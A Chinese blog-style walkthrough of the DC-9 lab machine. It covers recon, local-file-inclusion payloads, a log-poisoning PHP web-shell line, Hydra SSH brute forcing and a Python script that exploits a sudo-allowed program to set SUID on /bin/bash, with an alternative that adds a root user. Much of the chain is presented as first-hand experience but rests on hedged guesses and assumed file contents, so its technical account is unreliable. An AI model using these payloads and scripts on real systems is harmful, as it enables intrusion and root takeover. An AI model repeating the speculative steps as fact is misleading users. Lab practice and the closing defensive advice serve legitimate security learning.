1. 项目概述:一次从Web漏洞到系统权限的完整攻防演练
最近在复现DC-9这个经典的渗透测试靶机时,我完整走了一遍从外部信息收集、Web漏洞利用,到最后利用Python脚本实现权限提升的路径。整个过程就像一次精心设计的闯关游戏,每个环节都环环相扣,缺一不可。DC-9靶机模拟了一个存在多处安全缺陷的Web应用环境,核心突破口在于一个看似不起眼的本地文件包含漏洞。但仅仅利用这个漏洞读取敏感信息还不够,真正的挑战在于如何将初步的立足点,转化为对目标系统的完全控制权。这中间涉及到对系统配置的深入理解、对现有服务的巧妙利用,以及最终编写一个高效的Python脚本来完成临门一脚的提权操作。对于刚接触渗透测试的朋友来说,DC-9是一个绝佳的练手项目,它能让你清晰地看到,一个微小的输入点如何被层层放大,最终导致整个防线失守。而对于有经验的老手,其中利用Python进行自动化信息收集和提权尝试的思路,也颇具参考价值。接下来,我就把自己在这次实战中的完整思路、踩过的坑,以及最终奏效的Payload,毫无保留地分享出来。
2. 靶机环境分析与初始信息收集
在开始任何攻击之前,充分的信息收集是成功的一半。对于DC-9这类独立靶机,我们通常假设已经通过扫描(例如使用
netdiscover
或
arp-scan
)获取了其IP地址,例如
192.168.1.105
。
2.1 端口与服务探测
拿到IP后,第一步就是用Nmap进行全面的端口扫描,目的是摸清靶机对外开放了哪些服务,这些服务就是潜在的入口点。
nmap -sV -sC -p- 192.168.1.105 -oA dc9_full_scan
这里解释一下参数:
-
-sV:探测服务版本,知道运行的是Apache 2.4.38还是Nginx 1.18,对于寻找已知漏洞至关重要。 -
-sC:使用默认的Nmap脚本进行扫描,能发现一些常见的安全问题或获取额外信息(如HTTP标题)。 -
-p-:扫描所有65535个端口,避免遗漏那些开在非标准端口(如8080、8443)的服务。 -
-oA dc9_full_scan:将扫描结果以所有格式(normal, XML, grepable)输出到文件,方便后续分析。
典型的扫描结果可能会显示开放了 80端口(HTTP) 和 22端口(SSH) 。SSH端口的存在提示我们,最终可能需要获取一个有效的系统用户凭证。而Web服务(80端口)则是我们首要的、也是最常见的攻击面。
2.2 Web应用初步侦察
确定了80端口开放,我们立即用浏览器访问靶机IP。首先映入眼帘的是网站首页。这时,我们需要像侦探一样观察:
- 页面功能 :这是一个什么类型的网站?博客、CMS、后台管理系统还是自定义应用?DC-9通常是一个简单的搜索或展示页面。
-
技术栈线索
:查看网页源代码,注意
<meta>标签、引用的JavaScript/CSS文件路径、注释等,可能透露使用的框架(如WordPress、Joomla)或后端语言(PHP文件后缀)。 -
目录枚举
:使用工具如
gobuster或dirb进行目录爆破,寻找隐藏的管理后台(/admin)、配置文件(/config)、备份文件(/backup)或脚本文件(/scripts)。
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
这个命令使用常见字典,并尝试
.php
,
.txt
等扩展名,寻找隐藏的入口点。在DC-9中,我们很可能会发现一个关键的PHP页面,比如
search.php
或
results.php
,这通常就是漏洞所在。
注意 :信息收集阶段切忌急躁。有时一个不起眼的
robots.txt文件或页面注释里的一句话,就能直接指明漏洞位置。务必仔细查看每个页面的响应,包括HTTP头部信息。
3. 文件包含漏洞的发现与利用
在侦察阶段,我们很可能发现了一个接收用户输入的页面,例如
http://192.168.1.105/results.php
。这个页面可能有一个
file
或
page
参数,用于动态加载内容。
3.1 漏洞原理与手动测试
本地文件包含漏洞的核心在于,应用程序未对用户输入的“文件路径”参数进行严格过滤,允许攻击者使用目录遍历符(如
../
)跳出预期的目录,读取服务器上的任意文件。
手动测试非常简单,直接在URL参数中尝试包含已知的系统文件:
http://192.168.1.105/results.php?file=../../../../etc/passwd
如果页面上显示了
/etc/passwd
文件的内容(包含了系统用户列表),那么LFI漏洞就坐实了。这是Linux系统的关键信息文件,虽然不能直接用于登录(现代系统密码存储在
/etc/shadow
),但它能告诉我们系统上有哪些用户,为后续的暴力破解或密码喷洒攻击提供目标名单。
3.2 利用LFI获取更敏感的信息
拿到LFI漏洞后,我们的目标不再是读取几个普通文件,而是寻找能直接获取系统访问权限的“钥匙”。在Linux+PHP环境下,有几个经典的利用路径:
-
读取Web日志文件
:如果服务器配置不当,我们可以通过LFI读取Apache或Nginx的访问日志(如
/var/log/apache2/access.log)。然后,我们通过向服务器发送包含PHP代码的HTTP请求(例如,在User-Agent头中写入<?php system($_GET[‘cmd’]); ?>),再通过LFI包含这个日志文件,就有可能让服务器执行我们注入的PHP代码,实现远程命令执行。这就是所谓的“日志投毒”。 -
读取进程信息
:在某些环境下,可以尝试包含
/proc/self/environ文件,其中包含了当前进程的环境变量。如果其中存在用户可控的变量(如HTTP_USER_AGENT),同样可以用于注入代码。 -
读取应用程序源码
:通过LFI读取有漏洞的
results.php文件本身的源码,有时能发现其他隐藏参数、数据库配置信息或逻辑缺陷。使用PHP封装器php://filter可以很方便地做到这一点:
http://192.168.1.105/results.php?file=php://filter/convert.base64-encode/resource=results.php
这个Payload会以Base64编码的形式返回
results.php
的源代码,解码后我们就能进行代码审计。
在DC-9的上下文中,经过尝试,我们可能会发现通过包含
/etc/passwd
文件,获得了用户列表。同时,通过包含其他路径(如可能的配置文件或备份文件),我们或许能找到一个存放着用户名和密码哈希(甚至是明文密码)的文件,例如一个陈旧的数据库备份或配置文件。这份凭证列表将成为我们通往下一个阶段的“敲门砖”。
实操心得 :LFI利用的成功率高度依赖于服务器的配置和权限。不是每次“日志投毒”都能成功,这取决于Web服务进程是否有权限写入日志、日志文件的路径是否可预测等。多准备几种利用方式,并善于使用
php://filter来读取源码进行分析,往往比盲目尝试更有效。
4. 凭证获取与SSH登录突破
假设我们通过LFI漏洞,成功获取到了一个名为
staff.txt
或
config.php.bak
的文件,里面包含了如下格式的凭证:
user1:password1
user2:password2
admin:admin123
...
janitor:IlovePuppies1!
4.1 凭证整理与有效性验证
我们首先需要整理这些凭证。将用户名和密码分别保存到两个文件中,例如
users.txt
和
passwords.txt
。注意,有些密码可能是哈希值(如MD5),需要先尝试破解;如果是明文,那就简单多了。
接下来,我们需要验证哪些凭证是有效的。由于靶机开放了22端口(SSH),最直接的验证方式就是尝试SSH登录。但逐个手动尝试效率太低,此时就需要用到自动化工具。
4.2 使用Hydra进行SSH暴力破解/密码喷洒
如果我们获取到的是明文密码,并且用户数量较多,我们可以进行“密码喷洒”攻击:即用少数几个常用密码,去尝试所有的用户。如果我们获取到的是哈希,则需要先破解。
这里以使用明文密码列表为例,演示如何使用Hydra进行高效的批量验证:
hydra -L users.txt -P passwords.txt ssh://192.168.1.105 -t 4 -vV -f
-
-L users.txt:指定用户名字典文件。 -
-P passwords.txt:指定密码字典文件。 -
ssh://192.168.1.105:指定协议和目标。 -
-t 4:指定任务并发数,根据网络情况调整,太多可能被屏蔽。 -
-vV:显示详细过程,方便观察进度。 -
-f:找到第一个有效凭证后即停止。
运行后,Hydra会尝试所有用户和密码的组合。一旦成功,它会输出类似
[22][ssh] host: 192.168.1.105 login: janitor password: IlovePuppies1!
的信息。恭喜你,现在你拥有一个有效的系统用户
shell
了!
注意事项 :在真实环境中,这种批量登录尝试会触发警报(如fail2ban)。在渗透测试授权范围内,需要控制速率(
-w参数设置等待时间)或使用代理。在DC-9这样的靶机中,通常没有这么严格的限制。
4.3 建立稳定的Shell连接
获取到有效SSH凭证后,立即登录:
ssh janitor@192.168.1.105
输入密码
IlovePuppies1!
,我们就获得了一个相对低权限的交互式
shell
。这比通过Web漏洞获得的那个可能受限的、非交互的
shell
要强大和稳定得多。首先执行
id
和
whoami
命令确认当前用户权限,然后开始探索系统,为下一步提权做准备。
5. 内部信息枚举与提权向量挖掘
登录系统后,我们从一个普通用户(比如
janitor
)开始。提权的本质就是寻找当前用户能够利用的、可以提升至
root
权限的“杠杆”。在Linux系统中,有几十种常见的提权方法,我们需要系统性地进行枚举。
5.1 手动信息收集清单
以下是我每次进行Linux提权时会检查的清单,可以写成一个简单的脚本,也可以逐条手动执行:
-
系统与内核信息
:
uname -a。查看内核版本,搜索是否有公开的本地提权漏洞(如DirtyCow)。对于老旧靶机,这招有时很有效。 -
sudo权限
:
sudo -l。 这是最应该首先检查的! 它会列出当前用户无需密码或以root身份可以执行的命令。如果看到/usr/bin/python、/usr/bin/perl、/usr/bin/find、/usr/bin/vi等命令出现在NOPASSWD条目里,提权可能就在一瞬间。 -
SUID/SGID文件
:
find / -type f -perm -4000 -o -perm -2000 2>/dev/null。查找设置了SUID(运行时有文件所有者权限)或SGID(运行时有文件所属组权限)位的文件。常见的危险SUID文件包括find,vim,bash,cp,nmap(旧版本)等。 -
计划任务
:
crontab -l(查看当前用户的);ls -la /etc/cron*;cat /etc/crontab。查看是否有任何以root身份运行的定时任务,并且任务脚本或目录的权限配置不当(当前用户可写)。 -
环境变量
:
env。查看环境变量,特别是PATH。如果PATH中包含当前用户可写的目录,并且root会执行某些不带绝对路径的命令,就可能通过劫持PATH来提权。 -
进程与服务
:
ps aux;netstat -tulpn。查看是否有以root身份运行的不安全服务或进程。 -
用户文件与历史
:检查用户家目录下的隐藏文件、脚本、备份文件(
.bash_history,.ssh/,.mysql_history, 脚本文件等),可能包含密码或其他敏感信息。
5.2 DC-9中的关键发现
在DC-9中,执行
sudo -l
后,我们可能会看到令人兴奋的结果:
User janitor may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
这意味着用户
janitor
可以以
root
身份,
无需密码
,运行
/opt/devstuff/dist/test/test
这个程序。这无疑是最清晰的提权路径。我们的任务就从“寻找提权方法”变成了“分析并利用这个特定的程序”。
6. Python脚本的编写与提权执行
现在,焦点集中在这个
/opt/devstuff/dist/test/test
文件上。我们需要弄清楚它是什么,以及如何利用它。
6.1 分析目标程序
首先,查看这个文件的属性:
file /opt/devstuff/dist/test/test
ls -la /opt/devstuff/dist/test/test
它很可能是一个编译后的二进制文件,或者是一个脚本。如果是二进制文件,我们可以尝试用
strings
命令提取其中的可读字符串,寻找线索。但在很多CTF场景中,为了简化,它可能就是一个Python脚本,或者调用了某个脚本。
更常见的设定是:在
/opt/devstuff/
目录下,存在源代码目录(如
/opt/devstuff/test.py
)和一个编译/打包后的输出目录(
/opt/devstuff/dist/
)。
test
程序会从某个相对或绝对路径读取数据或调用脚本。
检查
/opt/devstuff/
目录:
ls -la /opt/devstuff/
我们可能会发现两个目录:
dist/
和
source/
。在
source/
目录下,找到了
test.py
的源代码。查看其内容:
#!/usr/bin/env python3
import os
import sys
# ... 一些代码 ...
data_file = “input.txt”
# 尝试读取 data_file ...
关键点在于,这个脚本试图读取一个名为
input.txt
的文件。如果这个文件路径是相对的,或者我们可以控制其内容,那么就有文章可做了。
6.2 构造提权思路
假设
test.py
的代码逻辑是:读取
input.txt
,然后对其内容进行某种处理,甚至可能使用
os.system()
或
subprocess.call()
来执行命令。而我们可以以
root
身份运行
/opt/devstuff/dist/test/test
(它很可能直接或间接调用了
test.py
)。
那么,提权思路就清晰了:
-
找到
test.py实际读取input.txt的位置。由于我们以root身份执行,但程序可能从当前目录读取,我们可以控制当前目录。 -
在我们有写入权限的目录(例如
/tmp)下,创建一个恶意的input.txt文件,其内容是一条我们想以root身份执行的命令(例如,给/bin/bash设置SUID位,或者直接添加一个root用户)。 -
通过
sudo执行test程序,并确保它在我们的恶意input.txt文件所在目录下运行,从而触发命令执行。
6.3 编写自动化提权Python脚本
为了更优雅、更可控地完成这一切,我们可以编写一个Python脚本。这个脚本将完成以下工作:
- 在临时目录创建恶意载荷文件。
-
构造完整的
sudo命令。 - 执行并捕获结果。
以下是一个示例脚本
exploit_dc9.py
:
#!/usr/bin/env python3
import os
import subprocess
import tempfile
import sys
def create_payload_file():
"""创建包含提权命令的payload文件"""
# 方法1:给bash设置SUID位,之后可以直接用 `bash -p` 获取root shell
payload_content = “chmod u+s /bin/bash\n”
# 方法2:直接添加一个具有root权限的用户(需要确认有useradd和passwd权限)
# payload_content = “useradd -ou 0 -g 0 superuser && echo ‘superuser:password123’ | chpasswd\n”
# 在/tmp目录下创建一个临时文件
fd, payload_path = tempfile.mkstemp(dir=‘/tmp’, suffix=‘.txt’, text=True)
with os.fdopen(fd, ‘w’) as f:
f.write(payload_content)
print(f“[+] 恶意payload文件创建于: {payload_path}”)
return payload_path
def execute_sudo_exploit(payload_file_path):
"""利用sudo权限执行目标程序,并指向我们的payload文件"""
# 关键:切换到payload文件所在目录执行,确保程序读取到我们的文件
exploit_dir = os.path.dirname(payload_file_path)
target_program = “/opt/devstuff/dist/test/test”
# 构造命令:先cd到目录,然后以root身份执行程序
# 注意:这里假设程序从当前目录读取‘input.txt‘。如果程序固定读取其他路径,需要做符号链接等操作。
command = f“cd {exploit_dir} && sudo {target_program}”
print(f“[+] 执行提权命令: {command}”)
try:
# 执行命令,并捕获输出
result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=10)
print(f“[*] 命令输出:\n{result.stdout}”)
if result.stderr:
print(f“[!] 错误信息:\n{result.stderr}”)
return result.returncode
except subprocess.TimeoutExpired:
print(“[!] 命令执行超时”)
return -1
except Exception as e:
print(f“[!] 执行过程中发生异常: {e}”)
return -1
def verify_privesc():
"""验证提权是否成功"""
print(“\n[+] 验证提权结果...”)
# 检查/bin/bash是否设置了SUID位
if os.path.exists(“/bin/bash”) and (os.stat(“/bin/bash”).st_mode & 0o4000):
print(“[SUCCESS] /bin/bash 已设置SUID位!”)
print(“ 你可以通过执行 ‘bash -p‘ 来获得一个root shell。”)
return True
else:
print(“[FAILURE] 提权未成功,请检查payload和程序逻辑。”)
return False
def cleanup(payload_file_path):
"""清理创建的临时文件(可选)"""
try:
os.unlink(payload_file_path)
print(f“[+] 已清理临时文件: {payload_file_path}”)
except:
pass
if __name__ == “__main__”:
print(“[DC-9 自动化提权脚本]”)
payload_file = create_payload_file()
ret_code = execute_sudo_exploit(payload_file)
if ret_code == 0:
verify_privesc()
else:
print(“[!] 提权命令执行失败。”)
# 是否清理取决于你,保留文件有时便于调试
# cleanup(payload_file)
6.4 执行与最终提权
-
将上述脚本上传到靶机(可以使用
scp,或者直接在靶机上用vi创建)。 -
给予执行权限:
chmod +x exploit_dc9.py。 -
运行脚本:
python3 exploit_dc9.py。
脚本会创建
input.txt
文件(内容为
chmod u+s /bin/bash
),然后在
/tmp
目录下以
root
权限执行
test
程序。如果程序逻辑是从当前目录读取
input.txt
并执行其中的命令(或受其内容影响而执行命令),那么
/bin/bash
就会被加上SUID位。
-
验证:运行
ls -l /bin/bash,如果看到-rwsr-xr-x中的s位,说明成功。 -
获取
root shell:直接运行bash -p,由于bash有了SUID位,它会以文件所有者(root)的身份运行,从而给我们一个root权限的shell。执行whoami确认,返回root,提权完成。
踩坑记录与技巧 :
- 路径问题 :脚本中
cd {exploit_dir} && sudo ...是关键。必须确保程序在读取input.txt时,使用的是我们可控的当前目录下的文件。如果程序使用绝对路径(如/opt/devstuff/input.txt),此方法失效。此时需要检查源代码,看是否有覆盖此路径的方法,或者尝试创建符号链接:ln -s /tmp/malicious_input.txt /opt/devstuff/input.txt(需要对该目录有写权限)。- 命令注入与过滤 :如果
test程序是通过os.system(“some_tool “ + user_input)这种方式执行命令,那么我们的input.txt内容可能就是直接的命令注入。但如果程序对输入进行了过滤或转义,就需要更精巧的绕过。- Python版本 :确保靶机上的Python版本与脚本兼容。使用
#!/usr/bin/env python3作为shebang是更稳妥的做法。- 备用方案 :如果设置SUID位失败,可以尝试其他命令,如直接写入
/etc/passwd添加用户、反弹root权限的shell到监听端口等。脚本中的payload_content可以灵活修改。
7. 总结与防御思考
回顾整个DC-9的渗透过程,攻击链非常清晰: 文件包含漏洞 -> 凭证信息泄露 -> SSH弱密码/默认密码 -> 不当的sudo配置 -> 成功的本地提权 。这几乎是一条教科书般的“外部突破到内部横向再到权限提升”的路径。
从防御角度,每个环节都可以加强:
-
Web层
:对用户输入进行严格过滤和校验,禁止
../等目录遍历字符。使用白名单机制限制文件包含的范围。及时更新和修补Web框架及组件。 - 认证层 :避免在代码、配置文件或备份文件中硬编码凭证。使用强密码策略,定期更换密码。对SSH等服务,考虑使用密钥认证而非密码,或部署双因素认证。
-
系统权限层
:遵循最小权限原则。定期审计
sudo配置(/etc/sudoers),确保没有普通用户拥有不必要的、无密码的root命令执行权。使用sudo时,尽量指定完整的命令路径,并避免允许执行shell、编辑器或解释器(如python、perl)。 - 开发与部署 :在开发中,避免让程序从不可信的位置读取文件或执行命令。在部署时,确保编译/打包目录与源代码目录的权限分离,生产环境不应包含源代码或可写的开发目录。
对于渗透测试学习者而言,DC-9的价值在于它串联了多个基础但关键的技能点。手动完成一遍后,可以尝试将其自动化,或者思考在更严格的环境下(如
sudo
命令受限、文件路径不可控)如何变通。渗透测试的本质就是不断地在限制条件下寻找那个唯一的、脆弱的“突破口”。

928

被折叠的 条评论
为什么被折叠?



